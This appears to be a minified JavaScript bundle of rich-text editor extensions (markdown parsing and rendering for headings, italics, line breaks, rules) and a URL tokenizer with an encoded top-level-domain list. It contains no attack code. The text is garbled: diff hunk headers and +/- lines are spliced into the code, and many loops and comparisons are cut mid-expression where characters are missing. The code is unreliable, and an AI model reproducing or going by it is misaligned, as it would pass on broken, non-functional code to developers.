r?{width:t,height:t/this.aspectRatio}:a?{width:e*this.aspectRatio,height:e}:{width:t,height:t/this.aspectRatio}}};function L6(t,e){const{selection:n}=t,{$from:r}=n;if(n instanceof Xe){const i=r.index();return r.parent.canReplaceWith(i,i+1,e)}let a=r.depth;for(;a>=0;){const i=r.index(a);if(r.node(a).contentMatchAt(i).matchType(e))return!0;a-=1}return!1}function _6(t){return t.replace(/[-/\\^$*+?.()|[\]{}]/g,"\\$&")}var z6={};S0(z6,{createAtomBlockMarkdownSpec:()=>$6,createBlockMarkdownSpec:()=>F6,createInlineMarkdownSpec:()=>G2,parseAttributes:()=>R0,parseIndentedBlocks:()=>cx,renderNestedMarkdownContent:()=>O0,serializeAttributes:()=>P0});function R0(t){if(!(t!=null&&t.trim()))return{};const e={},n=[],r=t.replace(/["']([^"']*)["']/g,h=>(n.push(h),`__QUOTED_${n.length-1}__`)),a=r.match(/(?:^|\s)\.([a-zA-Z][\w-]*)/g);if(a){const h=a.map(f=>f.trim().slice(1));e.class=h.join(" ")}const i=r.match(/(?:^|\s)#([a-zA-Z][\w-]*)/);i&&(e.id=i[1]);const o=/([a-zA-Z][\w-]*)\s*=\s*(__QUOTED_\d+__)/g;Array.from(r.matchAll(o)).forEach(([,h,f])=>{var m;const g=parseInt(((m=f.match(/__QUOTED_(\d+)__/))==null?void 0:m[1])||"0",10),y=n[g];y&&(e[h]=y.slice(1,-1))});const u=r.replace(/(?:^|\s)\.([a-zA-Z][\w-]*)/g,"").replace(/(?:^|\s)#([a-zA-Z][\w-]*)/g,"").replace(/([a-zA-Z][\w-]*)\s*=\s*__QUOTED_\d+__/g,"").trim();return u&&u.split(/\s+/).filter(Boolean).forEach(f=>{f.match(/^[a-zA-Z][\w-]*$/)&&(e[f]=!0)}),e}function P0(t){if(!t||Object.keys(t).length===0)return"";const e=[];return t.class&&String(t.class).split(/\s+/).filter(Boolean).forEach(r=>e.push(`.${r}`)),t.id&&e.push(`#${t.id}`),Object.entries(t).forEach(([n,r])=>{n==="class"||n==="id"||(r===!0?e.push(n):r!==!1&&r!=null&&e.push(`${n}="${String(r)}"`))}),e.join(" ")}function $6(t){const{nodeName:e,name:n,parseAttributes:r=R0,serializeAttributes:a=P0,defaultAttributes:i={},requiredAttributes:o=[],allowedAttributes:c}=t,u=n||e,h=f=>{if(!c)return f;const m={};return c.forEach(g=>{g in f&&(m[g]=f[g])}),m};return{parseMarkdown:(f,m)=>{const g={...i,...f.attributes};return m.createNode(e,g,[])},markdownTokenizer:{name:e,level:"block",start(f){var m;const g=new RegExp(`^:::${u}(?:\\s|$)`,"m"),y=(m=f.match(g))==null?void 0:m.index;return y!==void 0?y:-1},tokenize(f,m,g){const y=new RegExp(`^:::${u}(?:\\s+\\{([^}]*)\\})?\\s*:::(?:\\n|$)`),N=f.match(y);if(!N)return;const w=N[1]||"",v=r(w);if(!o.find(C=>!(C in v)))return{type:e,raw:N[0],attributes:v}}},renderMarkdown:f=>{const m=h(f.attrs||{}),g=a(m),y=g?` {${g}}`:"";return`:::${u}${y} :::`}}}function F6(t){const{nodeName:e,name:n,getContent:r,parseAttributes:a=R0,serializeAttributes:i=P0,defaultAttributes:o={},content:c="block",allowedAttributes:u}=t,h=n||e,f=m=>{if(!u)return m;const g={};return u.forEach(y=>{y in m&&(g[y]=m[y])}),g};return{parseMarkdown:(m,g)=>{let y;if(r){const w=r(m);y=typeof w=="string"?[{type:"text",text:w}]:w}else c==="block"?y=g.parseChildren(m.tokens||[]):y=g.parseInline(m.tokens||[]);const N={...o,...m.attributes};return g.createNode(e,N,y)},markdownTokenizer:{name:e,level:"block",start(m){var g;const y=new RegExp(`^:::${h}`,"m"),N=(g=m.match(y))==null?void 0:g.index;return N!==void 0?N:-1},tokenize(m,g,y){var N;const w=new RegExp(`^:::${h}(?:\\s+\\{([^}]*)\\})?\\s*\\n`),v=m.match(w);if(!v)return;const[k,C=""]=v,E=a(C);let T=1;const I=k.length;let O="";const L=/^:::([\w-]*)(\s.*)?/gm,R=m.slice(I);for(L.lastIndex=0;;){const D=L.exec(R);if(D===null)break;const z=D.index,Z=D[1];if(!((N=D[2])!=null&&N.endsWith(":::"))){if(Z)T+=1;else if(T-=1,T===0){const ne=R.slice(0,z);O=ne.trim();const fe=m.slice(0,I+z+D[0].length);let xe=[];if(O)if(c==="block")for(xe=y.blockTokens(ne),xe.forEach($=>{$.text&&(!$.tokens||$.tokens.length===0)&&($.tokens=y.inlineTokens($.text))});xe.length>0;){const $=xe[xe.length-1];if($.type==="paragraph"&&(!$.text||$.text.trim()===""))xe.pop();else break}else xe=y.inlineTokens(O);return{type:e,raw:fe,attributes:E,content:O,tokens:xe}}}}}},renderMarkdown:(m,g)=>{const y=f(m.attrs||{}),N=i(y),w=N?` {${N}}`:"",v=g.renderChildren(m.content||[],` `);return`:::${h}${w} @@ -693,7 +693,7 @@ ${v} :::`}}}function B6(t){if(!t.trim())return{};const e={},n=/(\w+)=(?:"([^"]*)"|'([^']*)')/g;let r=n.exec(t);for(;r!==null;){const[,a,i,o]=r;e[a]=i||o,r=n.exec(t)}return e}function V6(t){return Object.entries(t).filter(([,e])=>e!=null).map(([e,n])=>`${e}="${n}"`).join(" ")}function G2(t){const{nodeName:e,name:n,getContent:r,parseAttributes:a=B6,serializeAttributes:i=V6,defaultAttributes:o={},selfClosing:c=!1,allowedAttributes:u}=t,h=n||e,f=g=>{if(!u)return g;const y={};return u.forEach(N=>{const w=typeof N=="string"?N:N.name,v=typeof N=="string"?void 0:N.skipIfDefault;if(w in g){const k=g[w];if(v!==void 0&&k===v)return;y[w]=k}}),y},m=h.replace(/[.*+?^${}()|[\]\\]/g,"\\$&");return{parseMarkdown:(g,y)=>{const N={...o,...g.attributes};if(c)return y.createNode(e,N);const w=r?r(g):g.content||"";return w?y.createNode(e,N,[y.createTextNode(w)]):y.createNode(e,N,[])},markdownTokenizer:{name:e,level:"inline",start(g){const y=c?new RegExp(`\\[${m}\\s*[^\\]]*\\]`):new RegExp(`\\[${m}\\s*[^\\]]*\\][\\s\\S]*?\\[\\/${m}\\]`),N=g.match(y),w=N==null?void 0:N.index;return w!==void 0?w:-1},tokenize(g,y,N){const w=c?new RegExp(`^\\[${m}\\s*([^\\]]*)\\]`):new RegExp(`^\\[${m}\\s*([^\\]]*)\\]([\\s\\S]*?)\\[\\/${m}\\]`),v=g.match(w);if(!v)return;let k="",C="";if(c){const[,T]=v;C=T}else{const[,T,I]=v;C=T,k=I||""}const E=a(C.trim());return{type:e,raw:v[0],content:k.trim(),attributes:E}}},renderMarkdown:g=>{let y="";r?y=r(g):g.content&&g.content.length>0&&(y=g.content.filter(k=>k.type==="text").map(k=>k.text).join(""));const N=f(g.attrs||{}),w=i(N),v=w?` ${w}`:"";return c?`[${h}${v}]`:`[${h}${v}]${y}[/${h}]`}}}function cx(t,e,n){var r,a,i,o;const c=t.split(` `),u=[];let h="",f=0;const m=e.baseIndentSize||2;for(;f0)break;if(g.trim()===""){f+=1,h=`${h}${g} `;continue}else return}const N=e.extractItemData(y),{indentLevel:w,mainContent:v}=N;h=`${h}${g} -`;const k=[v];for(f+=1;f_.trim()!=="");if(L===-1)break;if((((a=(r=c[f+1+L].match(/^(\s*)/))==null?void 0:r[1])==null?void 0:a.length)||0)>w){k.push(I),h=`${h}${I} +`;const k=[v];for(f+=1;fz.trim()!=="");if(L===-1)break;if((((a=(r=c[f+1+L].match(/^(\s*)/))==null?void 0:r[1])==null?void 0:a.length)||0)>w){k.push(I),h=`${h}${I} `,f+=1;continue}else break}if((((o=(i=I.match(/^(\s*)/))==null?void 0:i[1])==null?void 0:o.length)||0)>w)k.push(I),h=`${h}${I} `,f+=1;else break}let C;const E=k.slice(1);if(E.length>0){const I=E.map(O=>O.slice(w+m)).join(` `);I.trim()&&(e.customNestedParser?C=e.customNestedParser(I):C=n.blockTokens(I))}const T=e.createToken(N,C);u.push(T)}if(u.length!==0)return{items:u,raw:h}}function O0(t,e,n,r){if(!t||!Array.isArray(t.content))return"";const a=typeof n=="function"?n(r):n,[i,...o]=t.content,c=e.renderChildren([i]),u=[`${a}${c}`];return o&&o.length>0&&o.forEach(h=>{const f=e.renderChildren([h]);if(f){const m=f.split(` @@ -733,7 +733,7 @@ ${n} `):""}),o7=Cn.create({name:"hardBreak",markdownTokenName:"br",addOptions(){return{keepMarks:!0,HTMLAttributes:{}}},inline:!0,group:"inline",selectable:!1,linebreakReplacement:!0,parseHTML(){return[{tag:"br"}]},renderHTML({HTMLAttributes:t}){return["br",St(this.options.HTMLAttributes,t)]},renderText(){return` `},renderMarkdown:()=>` `,parseMarkdown:()=>({type:"hardBreak"}),addCommands(){return{setHardBreak:()=>({commands:t,chain:e,state:n,editor:r})=>t.first([()=>t.exitCode(),()=>t.command(()=>{const{selection:a,storedMarks:i}=n;if(a.$from.parent.type.spec.isolating)return!1;const{keepMarks:o}=this.options,{splittableMarks:c}=r.extensionManager,u=i||a.$to.parentOffset&&a.$from.marks();return e().insertContent({type:this.name}).command(({tr:h,dispatch:f})=>{if(f&&u&&o){const m=u.filter(g=>c.includes(g.type.name));h.ensureMarks(m)}return!0}).run()})])}},addKeyboardShortcuts(){return{"Mod-Enter":()=>this.editor.commands.setHardBreak(),"Shift-Enter":()=>this.editor.commands.setHardBreak()}}}),l7=Cn.create({name:"heading",addOptions(){return{levels:[1,2,3,4,5,6],HTMLAttributes:{}}},content:"inline*",group:"block",defining:!0,addAttributes(){return{level:{default:1,rendered:!1}}},parseHTML(){return this.options.levels.map(t=>({tag:`h${t}`,attrs:{level:t}}))},renderHTML({node:t,HTMLAttributes:e}){return[`h${this.options.levels.includes(t.attrs.level)?t.attrs.level:this.options.levels[0]}`,St(this.options.HTMLAttributes,e),0]},parseMarkdown:(t,e)=>e.createNode("heading",{level:t.depth||1},e.parseInline(t.tokens||[])),renderMarkdown:(t,e)=>{var n;const r=(n=t.attrs)!=null&&n.level?parseInt(t.attrs.level,10):1,a="#".repeat(r);return t.content?`${a} ${e.renderChildren(t.content)}`:""},addCommands(){return{setHeading:t=>({commands:e})=>this.options.levels.includes(t.level)?e.setNode(this.name,t):!1,toggleHeading:t=>({commands:e})=>this.options.levels.includes(t.level)?e.toggleNode(this.name,"paragraph",t):!1}},addKeyboardShortcuts(){return this.options.levels.reduce((t,e)=>({...t,[`Mod-Alt-${e}`]:()=>this.editor.commands.toggleHeading({level:e})}),{})},addInputRules(){return this.options.levels.map(t=>lx({find:new RegExp(`^(#{${Math.min(...this.options.levels)},${t}})\\s$`),type:this.type,getAttributes:{level:t}}))}}),c7=Cn.create({name:"horizontalRule",addOptions(){return{HTMLAttributes:{},nextNodeType:"paragraph"}},group:"block",parseHTML(){return[{tag:"hr"}]},renderHTML({HTMLAttributes:t}){return["hr",St(this.options.HTMLAttributes,t)]},markdownTokenName:"hr",parseMarkdown:(t,e)=>e.createNode("horizontalRule"),renderMarkdown:()=>"---",addCommands(){return{setHorizontalRule:()=>({chain:t,state:e})=>{if(!L6(e,e.schema.nodes[this.name]))return!1;const{selection:n}=e,{$to:r}=n,a=t();return A2(n)?a.insertContentAt(r.pos,{type:this.name}):a.insertContent({type:this.name}),a.command(({state:i,tr:o,dispatch:c})=>{if(c){const{$to:u}=o.selection,h=u.end();if(u.nodeAfter)u.nodeAfter.isTextblock?o.setSelection(Ze.create(o.doc,u.pos+1)):u.nodeAfter.isBlock?o.setSelection(Xe.create(o.doc,u.pos)):o.setSelection(Ze.create(o.doc,u.pos));else{const f=i.schema.nodes[this.options.nextNodeType]||u.parent.type.contentMatch.defaultType,m=f==null?void 0:f.create();m&&(o.insert(h,m),o.setSelection(Ze.create(o.doc,h+1)))}o.scrollIntoView()}return!0}).run()}}},addInputRules(){return[q2({find:/^(?:---|—-|___\s|\*\*\*\s)$/,type:this.type})]}}),d7=/(?:^|\s)(\*(?!\s+\*)((?:[^*]+))\*(?!\s+\*))$/,u7=/(?:^|\s)(\*(?!\s+\*)((?:[^*]+))\*(?!\s+\*))/g,h7=/(?:^|\s)(_(?!\s+_)((?:[^_]+))_(?!\s+_))$/,f7=/(?:^|\s)(_(?!\s+_)((?:[^_]+))_(?!\s+_))/g,p7=Ao.create({name:"italic",addOptions(){return{HTMLAttributes:{}}},parseHTML(){return[{tag:"em"},{tag:"i",getAttrs:t=>t.style.fontStyle!=="normal"&&null},{style:"font-style=normal",clearMark:t=>t.type.name===this.name},{style:"font-style=italic"}]},renderHTML({HTMLAttributes:t}){return["em",St(this.options.HTMLAttributes,t),0]},addCommands(){return{setItalic:()=>({commands:t})=>t.setMark(this.name),toggleItalic:()=>({commands:t})=>t.toggleMark(this.name),unsetItalic:()=>({commands:t})=>t.unsetMark(this.name)}},markdownTokenName:"em",parseMarkdown:(t,e)=>e.applyMark("italic",e.parseInline(t.tokens||[])),renderMarkdown:(t,e)=>`*${e.renderChildren(t)}*`,addKeyboardShortcuts(){return{"Mod-i":()=>this.editor.commands.toggleItalic(),"Mod-I":()=>this.editor.commands.toggleItalic()}},addInputRules(){return[Ml({find:d7,type:this.type}),Ml({find:h7,type:this.type})]},addPasteRules(){return[jo({find:u7,type:this.type}),jo({find:f7,type:this.type})]}});const m7="aaa1rp3bb0ott3vie4c1le2ogado5udhabi7c0ademy5centure6ountant0s9o1tor4d0s1ult4e0g1ro2tna4f0l1rica5g0akhan5ency5i0g1rbus3force5tel5kdn3l0ibaba4pay4lfinanz6state5y2sace3tom5m0azon4ericanexpress7family11x2fam3ica3sterdam8nalytics7droid5quan4z2o0l2partments8p0le4q0uarelle8r0ab1mco4chi3my2pa2t0e3s0da2ia2sociates9t0hleta5torney7u0ction5di0ble3o3spost5thor3o0s4w0s2x0a2z0ure5ba0by2idu3namex4d1k2r0celona5laycard4s5efoot5gains6seball5ketball8uhaus5yern5b0c1t1va3cg1n2d1e0ats2uty4er2rlin4st0buy5t2f1g1h0arti5i0ble3d1ke2ng0o3o1z2j1lack0friday9ockbuster8g1omberg7ue3m0s1w2n0pparibas9o0ats3ehringer8fa2m1nd2o0k0ing5sch2tik2on4t1utique6x2r0adesco6idgestone9oadway5ker3ther5ussels7s1t1uild0ers6siness6y1zz3v1w1y1z0h3ca0b1fe2l0l1vinklein9m0era3p2non3petown5ital0one8r0avan4ds2e0er0s4s2sa1e1h1ino4t0ering5holic7ba1n1re3c1d1enter4o1rn3f0a1d2g1h0anel2nel4rity4se2t2eap3intai5ristmas6ome4urch5i0priani6rcle4sco3tadel4i0c2y3k1l0aims4eaning6ick2nic1que6othing5ud3ub0med6m1n1o0ach3des3ffee4llege4ogne5m0mbank4unity6pany2re3uter5sec4ndos3struction8ulting7tact3ractors9oking4l1p2rsica5untry4pon0s4rses6pa2r0edit0card4union9icket5own3s1uise0s6u0isinella9v1w1x1y0mru3ou3z2dad1nce3ta1e1ing3sun4y2clk3ds2e0al0er2s3gree4livery5l1oitte5ta3mocrat6ntal2ist5si0gn4v2hl2iamonds6et2gital5rect0ory7scount3ver5h2y2j1k1m1np2o0cs1tor4g1mains5t1wnload7rive4tv2ubai3nlop4pont4rban5vag2r2z2earth3t2c0o2deka3u0cation8e1g1mail3erck5nergy4gineer0ing9terprises10pson4quipment8r0icsson6ni3s0q1tate5t1u0rovision8s2vents5xchange6pert3osed4ress5traspace10fage2il1rwinds6th3mily4n0s2rm0ers5shion4t3edex3edback6rrari3ero6i0delity5o2lm2nal1nce1ial7re0stone6mdale6sh0ing5t0ness6j1k1lickr3ghts4r2orist4wers5y2m1o0o0d1tball6rd1ex2sale4um3undation8x2r0ee1senius7l1ogans4ntier7tr2ujitsu5n0d2rniture7tbol5yi3ga0l0lery3o1up4me0s3p1rden4y2b0iz3d0n2e0a1nt0ing5orge5f1g0ee3h1i0ft0s3ves2ing5l0ass3e1obal2o4m0ail3bh2o1x2n1odaddy5ld0point6f2o0dyear5g0le4p1t1v2p1q1r0ainger5phics5tis4een3ipe3ocery4up4s1t1u0cci3ge2ide2tars5ru3w1y2hair2mburg5ngout5us3bo2dfc0bank7ealth0care8lp1sinki6re1mes5iphop4samitsu7tachi5v2k0t2m1n1ockey4ldings5iday5medepot5goods5s0ense7nda3rse3spital5t0ing5t0els3mail5use3w2r1sbc3t1u0ghes5yatt3undai7ibm2cbc2e1u2d1e0ee3fm2kano4l1m0amat4db2mo0bilien9n0c1dustries8finiti5o2g1k1stitute6urance4e4t0ernational10uit4vestments10o1piranga7q1r0ish4s0maili5t0anbul7t0au2v3jaguar4va3cb2e0ep2tzt3welry6io2ll2m0p2nj2o0bs1urg4t1y2p0morgan6rs3uegos4niper7kaufen5ddi3e0rryhotels6properties14fh2g1h1i0a1ds2m1ndle4tchen5wi3m1n1oeln3matsu5sher5p0mg2n2r0d1ed3uokgroup8w1y0oto4z2la0caixa5mborghini8er3nd0rover6xess5salle5t0ino3robe5w0yer5b1c1ds2ease3clerc5frak4gal2o2xus4gbt3i0dl2fe0insurance9style7ghting6ke2lly3mited4o2ncoln4k2ve1ing5k1lc1p2oan0s3cker3us3l1ndon4tte1o3ve3pl0financial11r1s1t0d0a3u0ndbeck6xe1ury5v1y2ma0drid4if1son4keup4n0agement7go3p1rket0ing3s4riott5shalls7ttel5ba2c0kinsey7d1e0d0ia3et2lbourne7me1orial6n0u2rckmsd7g1h1iami3crosoft7l1ni1t2t0subishi9k1l0b1s2m0a2n1o0bi0le4da2e1i1m1nash3ey2ster5rmon3tgage6scow4to0rcycles9v0ie4p1q1r1s0d2t0n1r2u0seum3ic4v1w1x1y1z2na0b1goya4me2vy3ba2c1e0c1t0bank4flix4work5ustar5w0s2xt0direct7us4f0l2g0o2hk2i0co2ke1on3nja3ssan1y5l1o0kia3rton4w0ruz3tv4p1r0a1w2tt2u1yc2z2obi1server7ffice5kinawa6layan0group9lo3m0ega4ne1g1l0ine5oo2pen3racle3nge4g0anic5igins6saka4tsuka4t2vh3pa0ge2nasonic7ris2s1tners4s1y3y2ccw3e0t2f0izer5g1h0armacy6d1ilips5one2to0graphy6s4ysio5ics1tet2ures6d1n0g1k2oneer5zza4k1l0ace2y0station9umbing5s3m1n0c2ohl2ker3litie5rn2st3r0axi3ess3ime3o0d0uctions8f1gressive8mo2perties3y5tection8u0dential9s1t1ub2w0c2y2qa1pon3uebec3st5racing4dio4e0ad1lestate6tor2y4cipes5d0stone5umbrella9hab3ise0n3t2liance6n0t0als5pair3ort3ublican8st0aurant8view0s5xroth6ich0ardli6oh3l1o1p2o0cks3deo3gers4om3s0vp3u0gby3hr2n2w0e2yukyu6sa0arland6fe0ty4kura4le1on3msclub4ung5ndvik0coromant12ofi4p1rl2s1ve2xo3b0i1s2c0b1haeffler7midt4olarships8ol3ule3warz5ience5ot3d1e0arch3t2cure1ity6ek2lect4ner3rvices6ven3w1x0y3fr2g1h0angrila6rp3ell3ia1ksha5oes2p0ping5uji3w3i0lk2na1gles5te3j1k0i0n2y0pe4l0ing4m0art3ile4n0cf3o0ccer3ial4ftbank4ware6hu2lar2utions7ng1y2y2pa0ce3ort2t3r0l2s1t0ada2ples4r1tebank4farm7c0group6ockholm6rage3e3ream4udio2y3yle4u0cks3pplies3y2ort5rf1gery5zuki5v1watch4iss4x1y0dney4stems6z2tab1ipei4lk2obao4rget4tamotors6r2too4x0i3c0i2d0k2eam2ch0nology8l1masek5nnis4va3f1g1h0d1eater2re6iaa2ckets5enda4ps2res2ol4j0maxx4x2k0maxx5l1m0all4n1o0day3kyo3ols3p1ray3shiba5tal3urs3wn2yota3s3r0ade1ing4ining5vel0ers0insurance16ust3v2t1ube2i1nes3shu4v0s2w1z2ua1bank3s2g1k1nicom3versity8o2ol2ps2s1y1z2va0cations7na1guard7c1e0gas3ntures6risign5mögensberater2ung14sicherung10t2g1i0ajes4deo3g1king4llas4n1p1rgin4sa1ion4va1o3laanderen9n1odka3lvo3te1ing3o2yage5u2wales2mart4ter4ng0gou5tch0es6eather0channel12bcam3er2site5d0ding5ibo2r3f1hoswho6ien2ki2lliamhill9n0dows4e1ners6me2olterskluwer11odside6rk0s2ld3w2s1tc1f3xbox3erox4ihuan4n2xx2yz3yachts4hoo3maxun5ndex5e1odobashi7ga2kohama6u0tube6t1un3za0ppos4ra3ero3ip2m1one3uerich6w2",g7="ελ1υ2бг1ел3дети4ею2католик6ом3мкд2он1сква6онлайн5рг3рус2ф2сайт3рб3укр3қаз3հայ3ישראל5קום3ابوظبي5رامكو5لاردن4بحرين5جزائر5سعودية6عليان5مغرب5مارات5یران5بارت2زار4يتك3ھارت5تونس4سودان3رية5شبكة4عراق2ب2مان4فلسطين6قطر3كاثوليك6وم3مصر2ليسيا5وريتانيا7قع4همراه5پاکستان7ڀارت4कॉम3नेट3भारत0म्3ोत5संगठन5বাংলা5ভারত2ৰত4ਭਾਰਤ4ભારત4ଭାରତ4இந்தியா6லங்கை6சிங்கப்பூர்11భారత్5ಭಾರತ4ഭാരതം5ලංකා4คอม3ไทย3ລາວ3გე2みんな3アマゾン4クラウド4グーグル4コム2ストア3セール3ファッション6ポイント4世界2中信1国1國1文网3亚马逊3企业2佛山2信息2健康2八卦2公司1益2台湾1灣2商城1店1标2嘉里0大酒店5在线2大拿2天主教3娱乐2家電2广东2微博2慈善2我爱你3手机2招聘2政务1府2新加坡2闻2时尚2書籍2机构2淡马锡3游戏2澳門2点看2移动2组织机构4网址1店1站1络2联通2谷歌2购物2通販2集团2電訊盈科4飞利浦3食品2餐厅2香格里拉3港2닷넷1컴2삼성2한국2",ux="numeric",hx="ascii",fx="alpha",Uc="asciinumeric",Oc="alphanumeric",px="domain",nC="emoji",x7="scheme",y7="slashscheme",dg="whitespace";function b7(t,e){return t in e||(e[t]=[]),e[t]}function oo(t,e,n){e[ux]&&(e[Uc]=!0,e[Oc]=!0),e[hx]&&(e[Uc]=!0,e[fx]=!0),e[Uc]&&(e[Oc]=!0),e[fx]&&(e[Oc]=!0),e[Oc]&&(e[px]=!0),e[nC]&&(e[px]=!0);for(const r in e){const a=b7(r,n);a.indexOf(t)<0&&a.push(t)}}function v7(t,e){const n={};for(const r in e)e[r].indexOf(t)>=0&&(n[r]=!0);return n}function Mr(t=null){this.j={},this.jr=[],this.jd=null,this.t=t}Mr.groups={};Mr.prototype={accepts(){return!!this.t},go(t){const e=this,n=e.j[t];if(n)return n;for(let r=0;rt.ta(e,n,r,a),un=(t,e,n,r,a)=>t.tr(e,n,r,a),TN=(t,e,n,r,a)=>t.ts(e,n,r,a),Te=(t,e,n,r,a)=>t.tt(e,n,r,a),ga="WORD",mx="UWORD",rC="ASCIINUMERICAL",sC="ALPHANUMERICAL",dd="LOCALHOST",gx="TLD",xx="UTLD",rh="SCHEME",ul="SLASH_SCHEME",L0="NUM",yx="WS",_0="NL",Kc="OPENBRACE",qc="CLOSEBRACE",Ih="OPENBRACKET",Rh="CLOSEBRACKET",Ph="OPENPAREN",Oh="CLOSEPAREN",Dh="OPENANGLEBRACKET",Lh="CLOSEANGLEBRACKET",_h="FULLWIDTHLEFTPAREN",zh="FULLWIDTHRIGHTPAREN",$h="LEFTCORNERBRACKET",Fh="RIGHTCORNERBRACKET",Bh="LEFTWHITECORNERBRACKET",Vh="RIGHTWHITECORNERBRACKET",Hh="FULLWIDTHLESSTHAN",Wh="FULLWIDTHGREATERTHAN",Uh="AMPERSAND",Kh="APOSTROPHE",qh="ASTERISK",ni="AT",Gh="BACKSLASH",Jh="BACKTICK",Yh="CARET",ai="COLON",z0="COMMA",Qh="DOLLAR",$s="DOT",Xh="EQUALS",$0="EXCLAMATION",rs="HYPHEN",Gc="PERCENT",Zh="PIPE",ef="PLUS",tf="POUND",Jc="QUERY",F0="QUOTE",aC="FULLWIDTHMIDDLEDOT",B0="SEMI",Fs="SLASH",Yc="TILDE",nf="UNDERSCORE",iC="EMOJI",rf="SYM";var oC=Object.freeze({__proto__:null,ALPHANUMERICAL:sC,AMPERSAND:Uh,APOSTROPHE:Kh,ASCIINUMERICAL:rC,ASTERISK:qh,AT:ni,BACKSLASH:Gh,BACKTICK:Jh,CARET:Yh,CLOSEANGLEBRACKET:Lh,CLOSEBRACE:qc,CLOSEBRACKET:Rh,CLOSEPAREN:Oh,COLON:ai,COMMA:z0,DOLLAR:Qh,DOT:$s,EMOJI:iC,EQUALS:Xh,EXCLAMATION:$0,FULLWIDTHGREATERTHAN:Wh,FULLWIDTHLEFTPAREN:_h,FULLWIDTHLESSTHAN:Hh,FULLWIDTHMIDDLEDOT:aC,FULLWIDTHRIGHTPAREN:zh,HYPHEN:rs,LEFTCORNERBRACKET:$h,LEFTWHITECORNERBRACKET:Bh,LOCALHOST:dd,NL:_0,NUM:L0,OPENANGLEBRACKET:Dh,OPENBRACE:Kc,OPENBRACKET:Ih,OPENPAREN:Ph,PERCENT:Gc,PIPE:Zh,PLUS:ef,POUND:tf,QUERY:Jc,QUOTE:F0,RIGHTCORNERBRACKET:Fh,RIGHTWHITECORNERBRACKET:Vh,SCHEME:rh,SEMI:B0,SLASH:Fs,SLASH_SCHEME:ul,SYM:rf,TILDE:Yc,TLD:gx,UNDERSCORE:nf,UTLD:xx,UWORD:mx,WORD:ga,WS:yx});const pa=/[a-z]/,Mc=new RegExp("\\p{L}","u"),ug=new RegExp("\\p{Emoji}","u"),ma=/\d/,hg=/\s/,MN="\r",fg=` -`,N7="️",w7="‍",pg="";let Hu=null,Wu=null;function j7(t=[]){const e={};Mr.groups=e;const n=new Mr;Hu==null&&(Hu=AN(m7)),Wu==null&&(Wu=AN(g7)),Te(n,"'",Kh),Te(n,"{",Kc),Te(n,"}",qc),Te(n,"[",Ih),Te(n,"]",Rh),Te(n,"(",Ph),Te(n,")",Oh),Te(n,"<",Dh),Te(n,">",Lh),Te(n,"(",_h),Te(n,")",zh),Te(n,"「",$h),Te(n,"」",Fh),Te(n,"『",Bh),Te(n,"』",Vh),Te(n,"<",Hh),Te(n,">",Wh),Te(n,"&",Uh),Te(n,"*",qh),Te(n,"@",ni),Te(n,"`",Jh),Te(n,"^",Yh),Te(n,":",ai),Te(n,",",z0),Te(n,"$",Qh),Te(n,".",$s),Te(n,"=",Xh),Te(n,"!",$0),Te(n,"-",rs),Te(n,"%",Gc),Te(n,"|",Zh),Te(n,"+",ef),Te(n,"#",tf),Te(n,"?",Jc),Te(n,'"',F0),Te(n,"/",Fs),Te(n,";",B0),Te(n,"~",Yc),Te(n,"_",nf),Te(n,"\\",Gh),Te(n,"・",aC);const r=un(n,ma,L0,{[ux]:!0});un(r,ma,r);const a=un(r,pa,rC,{[Uc]:!0}),i=un(r,Mc,sC,{[Oc]:!0}),o=un(n,pa,ga,{[hx]:!0});un(o,ma,a),un(o,pa,o),un(a,ma,a),un(a,pa,a);const c=un(n,Mc,mx,{[fx]:!0});un(c,pa),un(c,ma,i),un(c,Mc,c),un(i,ma,i),un(i,pa),un(i,Mc,i);const u=Te(n,fg,_0,{[dg]:!0}),h=Te(n,MN,yx,{[dg]:!0}),f=un(n,hg,yx,{[dg]:!0});Te(n,pg,f),Te(h,fg,u),Te(h,pg,f),un(h,hg,f),Te(f,MN),Te(f,fg),un(f,hg,f),Te(f,pg,f);const m=un(n,ug,iC,{[nC]:!0});Te(m,"#"),un(m,ug,m),Te(m,N7,m);const g=Te(m,w7);Te(g,"#"),un(g,ug,m);const y=[[pa,o],[ma,a]],N=[[pa,null],[Mc,c],[ma,i]];for(let w=0;ww[0]>v[0]?1:-1);for(let w=0;w=0?C[px]=!0:pa.test(v)?ma.test(v)?C[Uc]=!0:C[hx]=!0:C[ux]=!0,TN(n,v,v,C)}return TN(n,"localhost",dd,{ascii:!0}),n.jd=new Mr(rf),{start:n,tokens:Object.assign({groups:e},oC)}}function lC(t,e){const n=k7(e.replace(/[A-Z]/g,c=>c.toLowerCase())),r=n.length,a=[];let i=0,o=0;for(;o=0&&(m+=n[o].length,g++),h+=n[o].length,i+=n[o].length,o++;i-=m,o-=g,h-=m,a.push({t:f.t,v:e.slice(i-h,i),s:i-h,e:i})}return a}function k7(t){const e=[],n=t.length;let r=0;for(;r56319||r+1===n||(i=t.charCodeAt(r+1))<56320||i>57343?t[r]:t.slice(r,r+2);e.push(o),r+=o.length}return e}function Qa(t,e,n,r,a){let i;const o=e.length;for(let c=0;c=0;)i++;if(i>0){e.push(n.join(""));for(let o=parseInt(t.substring(r,r+i),10);o>0;o--)n.pop();r+=i}else n.push(t[r]),r++}return e}const ud={defaultProtocol:"http",events:null,format:IN,formatHref:IN,nl2br:!1,tagName:"a",target:null,rel:null,validate:!0,truncate:1/0,className:null,attributes:null,ignoreTags:[],render:null};function V0(t,e=null){let n=Object.assign({},ud);t&&(n=Object.assign(n,t instanceof V0?t.o:t));const r=n.ignoreTags,a=[];for(let i=0;in?r.substring(0,n)+"…":r},toFormattedHref(t){return t.get("formatHref",this.toHref(t.get("defaultProtocol")),this)},startIndex(){return this.tk[0].s},endIndex(){return this.tk[this.tk.length-1].e},toObject(t=ud.defaultProtocol){return{type:this.t,value:this.toString(),isLink:this.isLink,href:this.toHref(t),start:this.startIndex(),end:this.endIndex()}},toFormattedObject(t){return{type:this.t,value:this.toFormattedString(t),isLink:this.isLink,href:this.toFormattedHref(t),start:this.startIndex(),end:this.endIndex()}},validate(t){return t.get("validate",this.toString(),this)},render(t){const e=this,n=this.toHref(t.get("defaultProtocol")),r=t.get("formatHref",n,this),a=t.get("tagName",n,e),i=this.toFormattedString(t),o={},c=t.get("className",n,e),u=t.get("target",n,e),h=t.get("rel",n,e),f=t.getObj("attributes",n,e),m=t.getObj("events",n,e);return o.href=r,c&&(o.class=c),u&&(o.target=u),h&&(o.rel=h),f&&Object.assign(o,f),{tagName:a,attributes:o,content:i,eventListeners:m}}};function _f(t,e){class n extends cC{constructor(a,i){super(a,i),this.t=t}}for(const r in 